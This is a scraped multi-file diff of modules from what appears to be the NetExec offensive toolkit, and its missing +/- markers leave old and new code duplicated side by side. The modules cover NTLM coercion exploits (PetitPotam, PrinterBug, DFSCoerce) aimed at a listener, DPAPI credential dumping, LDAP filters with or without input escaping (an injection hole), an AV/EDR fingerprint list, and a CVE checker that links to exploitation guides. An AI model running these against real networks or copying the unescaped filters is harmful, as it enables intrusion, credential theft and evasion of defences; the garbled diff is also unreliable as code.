domain_sid = samr.hSamrLookupDomainInSamServer(self.dce, server_handle, connection.domain)["DomainId"]
domain_handle = samr.hSamrOpenDomain(self.dce, server_handle, domainId=domain_sid)["DomainHandle"]
user_rid = samr.hSamrLookupNamesInDomain(self.dce, domain_handle, (username,))["RelativeIds"]["Element"][0]
return samr.hSamrOpenUser(self.dce, domain_handle, userId=user_rid)["UserHandle"]
except Exception as e:
self.context.log.fail(f"Failed to open user: {e}")
"""Connect to the target server and retrieve the user handle"""
server_handle = samr.hSamrConnect(self.dce, connection.host + "\x00")["ServerHandle"]
domain_sid = samr.hSamrLookupDomainInSamServer(self.dce, server_handle, connection.domain)["DomainId"]
domain_handle = samr.hSamrOpenDomain(self.dce, server_handle, domainId=domain_sid)["DomainHandle"]
user_rid = samr.hSamrLookupNamesInDomain(self.dce, domain_handle, (username,))["RelativeIds"]["Element"][0]
return samr.hSamrOpenUser(self.dce, domain_handle, userId=user_rid)["UserHandle"]
+19 -22
View File
@@ -1,4 +1,5 @@
from impacket.dcerpc.v5 import transport, rprn, even, epm
from impacket.dcerpc.v5.rrp import DCERPCSessionError # ruff: ignore[unused-import] solves an issue with error handling of impacket not displaying the correct exception
from impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT, NDRPOINTER, NDRUniConformantArray, NDRPOINTERNULL
from impacket.dcerpc.v5.dtypes import LPBYTE, USHORT, LPWSTR, DWORD, ULONG, NULL, WSTR, LONG, BOOL, PCHAR, RPC_SID
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE, RPC_C_AUTHN_LEVEL_PKT_PRIVACY
@@ -47,14 +48,13 @@ class NXCModule:
"""DFSCOERCE START"""
try:
dfscocerceclass = DFSCoerceTrigger(context)
target = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain
dfscocerceconnect = dfscocerceclass.connect(
username=connection.username,
password=connection.password,
domain=connection.domain,
lmhash=connection.lmhash,
nthash=connection.nthash,
target=target,
target=connection.remoteName,
doKerberos=connection.kerberos,
dcHost=connection.kdcHost,
aesKey=connection.aesKey,
@@ -78,14 +78,13 @@ class NXCModule:
""" ShadowCoerce START """
try:
shadowcocerceclass = ShadowCoerceTrigger(context)
target = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain
shadowcocerceconnect = shadowcocerceclass.connect(
username=connection.username,
password=connection.password,
domain=connection.domain,
lmhash=connection.lmhash,
nthash=connection.nthash,
target=target,
target=connection.remoteName,
doKerberos=connection.kerberos,
dcHost=connection.kdcHost,
aesKey=connection.aesKey,
@@ -113,14 +112,13 @@ class NXCModule:
context.log.debug(f"Trying to connect to {pipe} pipe")
try:
petitpotamclass = PetitPotamtTrigger(context)
target = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain
petitpotamconnect = petitpotamclass.connect(
username=connection.username,
password=connection.password,
domain=connection.domain,
lmhash=connection.lmhash,
nthash=connection.nthash,
target=target,
target=connection.remoteName,
doKerberos=connection.kerberos,
dcHost=connection.kdcHost,
aesKey=connection.aesKey,
@@ -150,14 +148,13 @@ class NXCModule:
for pipe in pipes:
try:
printerbugclass = PrinterBugTrigger(context)
target = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain
printerbugconnect = printerbugclass.connect(
username=connection.username,
password=connection.password,
domain=connection.domain,
lmhash=connection.lmhash,
nthash=connection.nthash,
target=target,
target=connection.remoteName,
doKerberos=connection.kerberos,
dcHost=connection.kdcHost,
aesKey=connection.aesKey,
@@ -168,7 +165,7 @@ class NXCModule:
context.log.debug("Target is vulnerable to PrinterBug")
context.log.highlight("VULNERABLE, PrinterBug")
if self.listener is not None: # exploit
exploit_status = printerbugclass.exploit(printerbugconnect, self.listener, target, self.always_continue, pipe)
exploit_status = printerbugclass.exploit(printerbugconnect, self.listener, connection.remoteName, self.always_continue, pipe)
if not self.always_continue and exploit_status:
break
printerbugconnect.disconnect()
@@ -183,14 +180,13 @@ class NXCModule:
""" MSEVEN START """
try:
msevenclass = MSEvenTrigger(context)
target = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain
msevenconnect = msevenclass.connect(
username=connection.username,
password=connection.password,
domain=connection.domain,
lmhash=connection.lmhash,
nthash=connection.nthash,
target=target,
target=connection.remoteName,
doKerberos=connection.kerberos,
dcHost=connection.kdcHost,
aesKey=connection.aesKey,
@@ -212,14 +208,14 @@ class NXCModule:
context.log.error("Invalid method, please check the method name.")
return
@staticmethod
def get_dynamic_endpoint(interface: bytes, target: str, timeout: int = 5) -> str:
string_binding = rf"ncacn_ip_tcp:{target}[135]"
rpctransport = transport.DCERPCTransportFactory(string_binding)
rpctransport.set_connect_timeout(timeout)
dce = rpctransport.get_dce_rpc()
dce.connect()
return epm.hept_map(target, interface, protocol="ncacn_ip_tcp", dce=dce)
def get_dynamic_endpoint(interface: bytes, target: str, timeout: int = 5) -> str:
string_binding = rf"ncacn_ip_tcp:{target}[135]"
rpctransport = transport.DCERPCTransportFactory(string_binding)
rpctransport.set_connect_timeout(timeout)
dce = rpctransport.get_dce_rpc()
dce.connect()
return epm.hept_map(target, interface, protocol="ncacn_ip_tcp", dce=dce)
class ShadowCoerceTrigger:
@@ -541,7 +537,7 @@ class PetitPotamtTrigger:
# activates EFS
# https://specterops.io/blog/2025/08/19/will-webclient-start/
with contextlib.suppress(Exception):
NXCModule.get_dynamic_endpoint(uuidtup_to_bin(("df1941c5-fe89-4e79-bf10-463657acf44d", "0.0")), target, timeout=1)
get_dynamic_endpoint(uuidtup_to_bin(("df1941c5-fe89-4e79-bf10-463657acf44d", "0.0")), target, timeout=1)
rpctransport = transport.DCERPCTransportFactory(binding_params[pipe]["stringBinding"])
rpctransport.set_dport(445)
@@ -778,11 +774,12 @@ class PrinterBugTrigger:
"port": 445
},
"[dcerpc]": {
"stringBinding": NXCModule.get_dynamic_endpoint(uuidtup_to_bin(("12345678-1234-abcd-ef00-0123456789ab", "1.0")), target),
"MSRPC_UUID_RPRN": ("12345678-1234-abcd-ef00-0123456789ab", "1.0"),
"port": None
}
}
if pipe == "[dcerpc]":
binding_params["[dcerpc]"]["stringBinding"] = get_dynamic_endpoint(uuidtup_to_bin(("12345678-1234-abcd-ef00-0123456789ab", "1.0")), target)
rpctransport = transport.DCERPCTransportFactory(binding_params[pipe]["stringBinding"])
if binding_params[pipe]["port"] is not None:
rpctransport.set_dport(binding_params[pipe]["port"])
@@ -1082,7 +1079,7 @@ class EFS_HASH_BLOB(NDRSTRUCT):
class ENCRYPTION_CERTIFICATE_HASH(NDRSTRUCT):
structure = (
("Lenght", DWORD),
("Length", DWORD),
("SID", RPC_SID),
("Hash", EFS_HASH_BLOB),
("Display", LPWSTR),
+11 -11
View File
@@ -3,16 +3,16 @@ import json
import datetime
from enum import Enum
from impacket.ldap import ldaptypes
from impacket.ldap.ldapasn1 import SDFlagsControl
from impacket.uuid import bin_to_string
from nxc.helpers.misc import CATEGORY
from nxc.helpers.msada_guids import SCHEMA_OBJECTS, EXTENDED_RIGHTS
from nxc.parsers.ldap_results import parse_result_attributes
from ldap3.utils.conv import escape_filter_chars
from ldap3.protocol.microsoft import security_descriptor_control
import sys
import traceback
from os.path import isfile
OBJECT_TYPES_GUID = {}
OBJECT_TYPES_GUID.update(SCHEMA_OBJECTS)
OBJECT_TYPES_GUID.update(EXTENDED_RIGHTS)
@@ -190,8 +190,8 @@ class ALLOWED_OBJECT_ACE_MASK_FLAGS(Enum):
SEARCH_FILTERS = {
"TARGET": lambda target: f"(sAMAccountName={escape_filter_chars(target)})",
"TARGET_DN": lambda target: f"(distinguishedName={escape_filter_chars(target)})"
"TARGET": lambda target: f"(sAMAccountName={target})",
"TARGET_DN": lambda target: f"(distinguishedName={target})"
}
@@ -200,7 +200,7 @@ class NXCModule:
This module is essentially inspired from the dacledit.py script of Impacket that we have coauthored, @_nwodtuhs and me.
It has been converted to an LDAPConnection session, and improvements on the filtering and the ability to specify multiple targets have been added.
It could be interesting to implement the write/remove functions here, but a ldap3 session instead of a LDAPConnection one is required to write.
It could be interesting to implement the write/remove functions here.
"""
name = "daclread"
@@ -249,10 +249,10 @@ class NXCModule:
context.log.debug("There is a target specified!")
if isfile(module_options[option]):
try:
target_file = open(module_options[option]) # noqa: SIM115
for line in target_file:
context.log.debug(f"Adding target from file: {line}")
self.targets.append((line.strip(), SEARCH_FILTERS[option]))
with open(module_options[option]) as target_file:
for line in target_file:
context.log.debug(f"Adding target from file: {line}")
self.targets.append((line.strip(), SEARCH_FILTERS[option]))
except Exception:
context.log.fail("The file doesn't exist or cannot be opened.")
else:
@@ -288,7 +288,7 @@ class NXCModule:
if self.principal_sAMAccountName is not None:
try:
resp = connection.search(
searchFilter=f"(sAMAccountName={escape_filter_chars(self.principal_sAMAccountName)})",
searchFilter=f"(sAMAccountName={self.principal_sAMAccountName})",
attributes=["objectSid"],
)
resp_parsed = parse_result_attributes(resp)[0]
@@ -306,7 +306,7 @@ class NXCModule:
resp = connection.search(
searchFilter=search_filter(target),
attributes=["distinguishedName", "nTSecurityDescriptor"],
searchControls=security_descriptor_control(sdflags=0x04),
searchControls=[SDFlagsControl(criticality=False, flags=0x04)],
)
resp_parsed = parse_result_attributes(resp)[0]
+3 -28
View File
@@ -1,15 +1,12 @@
from dploot.lib.target import Target
from dploot.triage.masterkeys import MasterkeysTriage
from nxc.helpers.misc import CATEGORY
from nxc.protocols.smb.dpapi import upgrade_to_dploot_connection
# Based on dpapimk2john, original work by @fist0urs
class NXCModule:
name = "dpapi_hash"
description = "Remotely dump Dpapi hash based on masterkeys"
supported_protocols = ["smb"]
supported_protocols = ["smb", "wmi", "winrm", "mssql"]
category = CATEGORY.CREDENTIAL_DUMPING
def options(self, context, module_options):
@@ -19,33 +16,11 @@ class NXCModule:
self.outputfile = module_options["OUTPUTFILE"]
def on_admin_login(self, context, connection):
username = connection.username
password = getattr(connection, "password", "")
nthash = getattr(connection, "nthash", "")
target = Target.create(
domain=connection.domain,
username=username,
password=password,
target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain,
lmhash=getattr(connection, "lmhash", ""),
nthash=nthash,
do_kerberos=connection.kerberos,
aesKey=connection.aesKey,
no_pass=True,
use_kcache=getattr(connection, "use_kcache", False),
)
conn = upgrade_to_dploot_connection(connection=connection.conn, target=target)
if conn is None:
context.log.debug("Could not upgrade connection")
return
try:
context.log.display("Collecting DPAPI masterkeys, grab a coffee and be patient...")
masterkeys_triage = MasterkeysTriage(
target=target,
conn=conn,
target=connection.dpapi_triage.target,
conn=connection.dpapi_triage.conn,
)
context.log.debug(f"Masterkeys Triage: {masterkeys_triage}")
context.log.debug("Collecting user masterkeys")
+1
View File
@@ -50,6 +50,7 @@ class NXCModule:
self.cleanup = bool(module_options["CLEANUP"])
context.log.debug(f"CLEANUP is set to {self.cleanup}")
self.lms_name = module_options["NAME"]
self.local_path = f"{TMP_PATH}/{self.lms_name}.library-ms"
self.remote_path = ntpath.join("\\", f"{self.lms_name}.library-ms")
+1 -1
View File
@@ -47,7 +47,7 @@ class NXCModule:
with open(self.scfile_path, "w") as scfile:
scfile.truncate(0)
scfile.write('<?xml version="1.0" encoding="UTF-8"?>')
scfile.write("<searchConnectorDescription" ' xmlns="http://schemas.microsoft.com/windows/2009/searchConnector">') # noqa ISC001
scfile.write('<searchConnectorDescription xmlns="http://schemas.microsoft.com/windows/2009/searchConnector">')
scfile.write("<description>Microsoft Outlook</description>")
scfile.write("<isSearchOnlyItem>false</isSearchOnlyItem>")
scfile.write("<includeInStartMenuScope>true</includeInStartMenuScope>")
+1 -1
View File
@@ -13,7 +13,7 @@ class NXCModule:
"""
FILE_NAME Name of the file which will be tried to create and afterwards delete
SHARE_NAME If set, ONLY this share will be used
EXCLUDED_SHARES List of share names which will not be used, seperated by comma
EXCLUDED_SHARES List of share names which will not be used, separated by comma
"""
def on_login(self, context: Context, connection):
+93 -116
View File
@@ -3,11 +3,11 @@
# Module by @mpgn_x64
# https://twitter.com/mpgn_x64
from impacket.dcerpc.v5 import lsat, lsad, transport
from impacket.dcerpc.v5 import lsat, lsad
from impacket.dcerpc.v5.dtypes import NULL, MAXIMUM_ALLOWED, RPC_UNICODE_STRING
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
import pathlib
from nxc.helpers.misc import CATEGORY
from nxc.helpers.rpc import NXCRPCConnection
class NXCModule:
@@ -45,20 +45,8 @@ class NXCModule:
results = {}
try:
lsa = LsaLookupNames(
domain=connection.domain,
username=connection.username,
password=connection.password,
remote_name=target,
do_kerberos=connection.kerberos,
remoteHost=connection.host,
kdcHost=connection.kdcHost,
lmhash=connection.lmhash,
nthash=connection.nthash,
aesKey=connection.aesKey
)
dce, _ = lsa.connect()
lsa = LsaLookupNames(connection=connection)
dce = lsa.connect()
policyHandle = lsa.open_policy(dce)
for product in conf["products"]:
for service in product["services"]:
@@ -103,82 +91,11 @@ class NXCModule:
class LsaLookupNames:
timeout = None
authn_level = None
protocol = None
transfer_syntax = None
machine_account = False
def __init__(self, connection=None):
self.connection = connection
iface_uuid = lsat.MSRPC_UUID_LSAT
authn = True
def __init__(
self,
domain="",
username="",
password="",
remote_name="",
do_kerberos=False,
remoteHost="",
kdcHost="",
lmhash="",
nthash="",
aesKey="",
):
self.domain = domain
self.username = username
self.password = password
self.remoteName = remote_name
self.string_binding = rf"ncacn_np:{remote_name}[\PIPE\lsarpc]"
self.doKerberos = do_kerberos
self.lmhash = lmhash
self.nthash = nthash
self.aesKey = aesKey
self.kdcHost = kdcHost
self.remoteHost = remoteHost
def connect(self, string_binding=None, iface_uuid=None):
"""Obtains a RPC Transport and a DCE interface according to the bindings and
transfer syntax specified.
:return: tuple of DCE/RPC and RPC Transport objects
:rtype: (DCERPC_v5, DCERPCTransport)
"""
string_binding = string_binding or self.string_binding
if not string_binding:
raise NotImplementedError("String binding must be defined")
rpc_transport = transport.DCERPCTransportFactory(string_binding)
rpc_transport.setRemoteHost(self.remoteHost)
# Set timeout if defined
if self.timeout:
rpc_transport.set_connect_timeout(self.timeout)
# Authenticate if specified
if self.authn and hasattr(rpc_transport, "set_credentials"):
# This method exists only for selected protocol sequences.
rpc_transport.set_credentials(self.username, self.password, self.domain, self.lmhash, self.nthash, self.aesKey)
if self.doKerberos:
rpc_transport.set_kerberos(self.doKerberos, kdcHost=self.kdcHost)
# Gets the DCE RPC object
dce = rpc_transport.get_dce_rpc()
if self.doKerberos:
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
# Connect
dce.connect()
# Bind if specified
iface_uuid = iface_uuid or self.iface_uuid
if iface_uuid and self.transfer_syntax:
dce.bind(iface_uuid, transfer_syntax=self.transfer_syntax)
elif iface_uuid:
dce.bind(iface_uuid)
return dce, rpc_transport
def connect(self):
return NXCRPCConnection(self.connection).connect(r"\lsarpc", lsat.MSRPC_UUID_LSAT)
def open_policy(self, dce):
request = lsad.LsarOpenPolicy2()
@@ -210,6 +127,27 @@ conf = {
"services": [{"name": "AcronisActiveProtectionService", "description": "Acronis Active Protection Service"}],
"pipes": []
},
{
"name": "Arctic Wolf",
"services": [
{"name": "AwWfpService", "description": "Arctic Wolf Agent Containment"},
{"name": "ArcticWolfAgentMgr", "description": "Arctic Wolf Agent Manager"}
],
"pipes": []
},
{
"name": "Avast / AVG",
"services": [
{"name": "AvastWscReporter", "description": "Avast WSC Reporter Service"},
{"name": "aswbIDSAgent", "description": "Avast IDS Agent Service"},
{"name": "AVGWscReporter", "description": "AVG WSC Reporter Service"},
{"name": "avgbIDSAgent", "description": "AVG IDS Agent Service"}
],
"pipes": [
{"name": "aswCallbackPipe*", "processes": ["AvastSvc.exe", "aswEngSrv.exe"]},
{"name": "avgCallbackPipe*", "processes": ["AVGSvc.exe", "aswEngSrv.exe"]}
]
},
{
"name": "Bitdefender",
"services": [
@@ -240,18 +178,28 @@ conf = {
"pipes": []
},
{
"name": "CrowdStrike",
"services": [{"name": "CSFalconService", "description": "CrowdStrike Falcon Sensor Service"}],
"pipes": [{"name": "CrowdStrike\\{*", "processes": ["CSFalconContainer.exe", "CSFalconService.exe"]}]
"name": "Check Point Endpoint Security",
"services": [
{"name": "CPDA", "description": "Check Point Endpoint Agent"},
{"name": "vsmon", "description": "Check Point Endpoint Security Network Protection"},
{"name": "CPFileAnlyz", "description": "Check Point Endpoint Security File Analyzer"},
{"name": "EPClientUIService", "description": "Check Point Endpoint Security Client UI"}
],
"pipes": []
},
{
"name": "Cortex",
"services": [
{"name": "xdrhealth", "description": "Cortex XDR Health Helper"},
{"name": "cyserver", "description": " Cortex XDR"}
{"name": "cyserver", "description": "Cortex XDR"}
],
"pipes": []
},
{
"name": "CrowdStrike",
"services": [{"name": "CSFalconService", "description": "CrowdStrike Falcon Sensor Service"}],
"pipes": [{"name": "CrowdStrike\\{*", "processes": ["CSFalconContainer.exe", "CSFalconService.exe"]}]
},
{
"name": "Cybereason",
"services": [
@@ -265,16 +213,23 @@ conf = {
]
},
{
"name": "Check Point Endpoint Security",
"name": "Cynet",
"services": [
{"name": "CPDA", "description": "Check Point Endpoint Agent"},
{"name": "vsmon", "description": "Check Point Endpoint Security Network Protection"},
{"name": "CPFileAnlyz", "description": "Check Point Endpoint Security File Analyzer"},
{"name": "EPClientUIService", "description": "Check Point Endpoint Security Client UI"}
{"name": "CynetLauncher", "description": "CynetLauncher"}
],
"pipes": []
},
{
"name": "Elastic EDR",
"services": [
{"name": "Elastic Agent", "description": "Elastic Agent Service"},
{"name": "ElasticEndpoint", "description": "Elastic Endpoint Security Service"}
],
"pipes": [
{"name": "ElasticEndpointServiceComms-*", "processes": ["elastic-endpoint.exe"]},
{"name": "elastic-agent-system", "processes": ["elastic-agent.exe"]}
]
},
{
"name": "ESET",
"services": [
@@ -319,7 +274,22 @@ conf = {
]
},
{
"name": "Ivanti Security",
"name": "HarfangLab EDR",
"services": [
{"name": "hurukai", "description": "HarfangLab Hurukai Agent"},
{"name": "Hurukai agent", "description": "HarfangLab Hurukai Agent Service"},
{"name": "HarfangLab Hurukai agent", "description": "HarfangLab Hurukai Agent Program"},
{"name": "hurukai-av", "description": "HarfangLab Hurukai Antivirus"},
{"name": "hurukai-ui", "description": "HarfangLab Hurukai UI"}
],
"pipes": [
{"name": "hurukai-control", "processes": ["hurukai.exe"]},
{"name": "hurukai-servicing", "processes": ["hurukai.exe"]},
{"name": "hurukai-amsi", "processes": ["hurukai.exe"]}
]
},
{
"name": "Ivanti Security",
"services": [
{"name": "STAgent$Shavlik Protect", "description": "Ivanti Security Controls Agent"},
{"name": "STDispatch$Shavlik Protect", "description": "Ivanti Security Controls Agent Dispatcher"}
@@ -373,6 +343,11 @@ conf = {
{"name": "PSANMSrvcPpal", "processes": ["PSUAService.exe"]}
]
},
{
"name": "Rapid7",
"services": [{"name": "ir_agent", "description": "Rapid7 Insight Agent"}],
"pipes": []
},
{
"name": "SentinelOne",
"services": [
@@ -386,20 +361,6 @@ conf = {
{"name": "DFIScanner.Inline.*", "processes": ["SentinelAgent.exe"]}
]
},
{
"name": "Symantec Endpoint Protection",
"services": [
{"name": "SepMasterService", "description": "Symantec Endpoint Protection"},
{"name": "SepScanService", "description": "Symantec Endpoint Protection Scan Services"},
{"name": "SNAC", "description": "Symantec Network Access Control"}
],
"pipes": []
},
{
"name": "Rapid7",
"services": [{"name": "ir_agent", "description": "Rapid7 Insight Agent"}],
"pipes": []
},
{
"name": "Sophos Intercept X",
"services": [
@@ -420,6 +381,15 @@ conf = {
{"name": "sophoslivequery_*", "processes": [""]}
]
},
{
"name": "Symantec Endpoint Protection",
"services": [
{"name": "SepMasterService", "description": "Symantec Endpoint Protection"},
{"name": "SepScanService", "description": "Symantec Endpoint Protection Scan Services"},
{"name": "SNAC", "description": "Symantec Network Access Control"}
],
"pipes": []
},
{
"name": "Trellix Endpoint Detection and Response (EDR)",
"services": [
@@ -462,6 +432,13 @@ conf = {
{"name": "OIPC_NTRTSCAN_PIPE_*", "processes": ["Ntrtscan.exe"]}
]
},
{
"name": "Wazuh",
"services": [
{"name": "WazuhSvc", "description": "Wazuh Windows Agent"}
],
"pipes": []
},
{
"name": "Windows Defender",
"services": [
+16 -1
View File
@@ -7,6 +7,8 @@ from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
from impacket import uuid
import requests
from nxc.helpers.misc import CATEGORY
from nxc.helpers.rpc import NXCRPCConnection
import contextlib
class NXCModule:
@@ -68,8 +70,18 @@ class NXCModule:
else:
rpctransport.setRemoteHost(connection.host)
dce = None
try:
entries = self.__fetchList(connection.kerberos, rpctransport)
if int(self.__port) == 135:
rpc = NXCRPCConnection(connection, force_tcp=True)
rpc.rpc_transport = rpc.create_tcp_transport(target_ip=connection.host)
dce = rpc.rpc_transport.get_dce_rpc()
if connection.kerberos:
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
dce.connect()
entries = list(epm.hept_lookup(None, dce=dce))
else:
entries = self.__fetchList(connection.kerberos, rpctransport)
except Exception as e:
error_text = f"Protocol failed: {e}"
context.log.fail(error_text)
@@ -81,6 +93,9 @@ class NXCModule:
context.log.fail("This usually means the target does not allow "
"to connect to its epmapper using RpcProxy.")
return
finally:
with contextlib.suppress(Exception):
dce.disconnect()
for entry in entries:
tmpUUID = str(entry["tower"]["Floors"][0])
+245
View File
@@ -0,0 +1,245 @@
from impacket.dcerpc.v5 import rrp
from impacket.dcerpc.v5.rpcrt import DCERPCException
from impacket.smbconnection import SessionError
from nxc.helpers.misc import CATEGORY
from nxc.helpers.rpc import NXCRPCConnection
from impacket.nmb import NetBIOSError
class NXCModule:
"""
Initial module by: Mauriceter
Additional authors: azoxlpf, Defte, YOLOP0wn, pol4ir, NeffIsBack
"""
name = "enum_cve"
description = "Enumerate common (useful) CVEs by querying the registry for the OS version and UBR."
supported_protocols = ["smb"]
category = CATEGORY.ENUMERATION
def __init__(self, context=None, module_options=None):
context = context
self.module_options = module_options
self.cve = "all"
self.exploitation_details = False
def options(self, context, module_options):
"""
Be aware that these checks solely rely on the OS version and UBR reported in the registry,
and do not check for the actual presence of the vulnerable components or mitigations.
Test the attack yourself to verify the host is actually vulnerable.
Currently supported CVEs:
- CVE-2025-33073 (NTLM Reflection)
- CVE-2025-58726 (Ghost SPN)
- CVE-2025-54918 (NTLM MIC Bypass)
- CVE-2025-53779 (BadSuccessor)
- CVE-2024-49019 (EKUwu / ESC15)
- CVE-2026-54121 (Certighost)
- CVE-2026-27912 (ResetNightmare)
- CVE-2026-102217 (PetitPotam WebDAV coercion)
CVE Filter for specific CVE number (default: All)
EXPLOITATION Also provide sources for exploitation details (default: False)
"""
self.listener = None
if "CVE" in module_options:
self.cve = module_options["CVE"].lower()
if "EXPLOITATION" in module_options:
self.exploitation_details = module_options["EXPLOITATION"].lower() in ["true", "1", "yes"]
def is_vulnerable(self, major, minor, build, ubr, msrc):
key = (major, minor, build)
min_patched_ubr = msrc.get(key)
if min_patched_ubr is None:
return None # Unknown product
if ubr is None:
return None
return ubr < min_patched_ubr
def on_login(self, context, connection):
connection.trigger_winreg()
try:
# Connect to RemoteRegistry to read UBR from registry
dce = NXCRPCConnection(connection).connect(r"\winreg", rrp.MSRPC_UUID_RRP)
# Reading UBR from registry
hRootKey = rrp.hOpenLocalMachine(dce)["phKey"]
hKey = rrp.hBaseRegOpenKey(dce, hRootKey, "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion")["phkResult"]
ubr = rrp.hBaseRegQueryValue(dce, hKey, "UBR")[1]
dce.disconnect()
if not ubr:
context.log.info("Could not determine OS version from registry")
return
else:
context.log.debug(f"OS version from registry: {connection.server_os_major}.{connection.server_os_minor}.{connection.server_os_build}.{ubr}")
except DCERPCException as e:
context.log.fail(f"DCERPC error: {e}")
return
except SessionError as e:
if "STATUS_OBJECT_NAME_NOT_FOUND" in str(e):
context.log.info(f"RemoteRegistry is probably deactivated: {e}")
else:
context.log.fail(f"Unexpected error: {e}")
return
except (BrokenPipeError, ConnectionResetError, NetBIOSError, OSError) as e:
context.log.fail(f"DCERPC transport error: {e.__class__.__name__}: {e}")
return
# Check each CVE
for cve in self.CVE_PATCHES:
if self.cve == "all" or self.cve.lower() == cve.lower():
if self.CVE_PATCHES[cve].get("dc_only") and not connection.is_host_dc():
context.log.info(f"Skipping {self.CVE_PATCHES[cve]['alias']} - only applicable to Domain Controllers")
continue
if self.is_vulnerable(connection.server_os_major, connection.server_os_minor, connection.server_os_build, ubr, self.CVE_PATCHES[cve]["patches"]):
if connection.conn.isSigningRequired() and "signing_message" in self.CVE_PATCHES[cve]: # Special conditional message for some CVEs
context.log.highlight(f"{cve.upper()} - {self.CVE_PATCHES[cve]['alias']} - {self.CVE_PATCHES[cve]['signing_message']}")
else:
context.log.highlight(f"{cve.upper()} - {self.CVE_PATCHES[cve]['alias']} - {self.CVE_PATCHES[cve]['message']}")
if self.exploitation_details:
context.log.highlight(f"Exploitation details: {self.CVE_PATCHES[cve]['exploitation']}")
else:
context.log.info(f"Not vulnerable to {self.CVE_PATCHES[cve]['alias']} (UBR {ubr} >= {self.CVE_PATCHES[cve]['patches'].get((connection.server_os_major, connection.server_os_minor, connection.server_os_build), 'unknown')})")
# patches: key = (major, minor, build), value = minimum patched UBR
CVE_PATCHES = {
# https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-33073
"CVE-2025-33073": {
"alias": "NTLM reflection",
"patches": {
(10, 0, 10240): 21034, # Windows 10 1507
(10, 0, 14393): 8148, # Windows Server 2016 / Win10 1607
(10, 0, 17763): 7434, # Windows Server 2019 / Win10 1809
(10, 0, 19044): 5965, # Windows 10 21H2
(10, 0, 20348): 3807, # Windows Server 2022
(10, 0, 22621): 5472, # Windows 11 22H2
(10, 0, 25398): 1665, # Windows Server 2022 23H2
(10, 0, 26100): 4270, # Windows Server 2025 / Win11 24H2
},
"message": "Relay possible from SMB to any protocol",
"signing_message": "can relay SMB to other protocols except SMB",
"exploitation": "https://www.synacktiv.com/en/publications/ntlm-reflection-is-dead-long-live-ntlm-reflection-an-in-depth-analysis-of-cve-2025",
},
# https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-58726
"CVE-2025-58726": {
"alias": "Ghost SPN",
"patches": {
(6, 0, 6003): 23571, # Windows Server 2008 SP2
(6, 1, 7601): 27974, # Windows Server 2008 R2 SP1
(6, 2, 9200): 25722, # Windows Server 2012
(6, 3, 9600): 22824, # Windows Server 2012 R2
(10, 0, 10240): 21161, # Windows 10 1507
(10, 0, 14393): 8519, # Windows Server 2016 / Win10 1607
(10, 0, 17763): 7919, # Windows Server 2019 / Win10 1809
(10, 0, 19044): 6456, # Windows 10 21H2
(10, 0, 20348): 4294, # Windows Server 2022
(10, 0, 22621): 6060, # Windows 11 22H2
(10, 0, 25398): 1913, # Windows Server 2022 23H2
(10, 0, 26100): 6899, # Windows Server 2025 / Win11 24H2
(10, 0, 26200): 6899, # Windows 11 25H2
},
"message": "Relay possible from SMB using Ghost SPN for Kerberos reflection",
"signing_message": "Relay possible from SMB using Ghost SPN (non HOST/CIFS) for Kerberos reflection to other protocols except SMB",
"exploitation": "https://www.semperis.com/blog/exploiting-ghost-spns-and-kerberos-reflection-for-smb-server-privilege-elevation/",
},
# https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-54918
# https://decoder.cloud/2025/11/24/reflecting-your-authentication-when-windows-ends-up-talking-to-itself/
"CVE-2025-54918": {
"alias": "NTLM MIC Bypass",
"dc_only": True,
"patches": {
(6, 0, 6003): 23529, # Windows Server 2008 SP2
(6, 1, 7601): 27929, # Windows Server 2008 R2 SP1
(6, 2, 9200): 25675, # Windows Server 2012
(6, 3, 9600): 22774, # Windows Server 2012 R2
(10, 0, 10240): 21128, # Windows 10 1507
(10, 0, 14393): 8422, # Windows Server 2016
(10, 0, 17763): 7792, # Windows Server 2019 / Win10 1809
(10, 0, 19044): 6332, # Windows 10 21H2
(10, 0, 20348): 4171, # Windows Server 2022
(10, 0, 22621): 5909, # Windows 11 22H2
(10, 0, 22631): 5909, # Windows 11 23H2
(10, 0, 26100): 6508, # Windows Server 2025 / Win11 24H2
},
"message": "Note that without CVE-2025-33073 only Windows Server 2025 is exploitable",
"exploitation": "https://yousofnahya.medium.com/hands-on-exploitation-of-cve-2025-54918-cf376ebb40e1",
},
# https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-53779
"CVE-2025-53779": {
"alias": "BadSuccessor",
"dc_only": True,
"patches": {
(10, 0, 26100): 4851, # Windows Server 2025 / Win11 24H2
},
"message": "Escalation to Domain Admin possible via dMSA Kerberos abuse",
"exploitation": "https://www.akamai.com/blog/security-research/abusing-dmsa-for-privilege-escalation-in-active-directory",
},
# https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-49019
"CVE-2024-49019": {
"alias": "ESC15 / EKUwu",
"patches": {
(6, 0, 6003): 22966, # Windows Server 2008 SP2
(6, 1, 7601): 27415, # Windows Server 2008 R2 SP1
(6, 2, 9200): 25165, # Windows Server 2012
(6, 3, 9600): 22267, # Windows Server 2012 R2
(10, 0, 14393): 7515, # Windows Server 2016
(10, 0, 17763): 6532, # Windows Server 2019 / Win10 1809
(10, 0, 20348): 2849, # Windows Server 2022
(10, 0, 25398): 1251, # Windows Server 2022 23H2
(10, 0, 26100): 2314, # Windows Server 2025 / Win11 24H2
},
"message": "If host is an AD CS / CA server, it may be vulnerable to ESC15",
"exploitation": "https://trustedsec.com/blog/ekuwu-not-just-another-ad-cs-esc",
},
# https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54121
"CVE-2026-54121": {
"alias": "Certighost",
"patches": {
(6, 2, 9200): 26226, # Windows Server 2012
(6, 3, 9600): 23291, # Windows Server 2012 R2
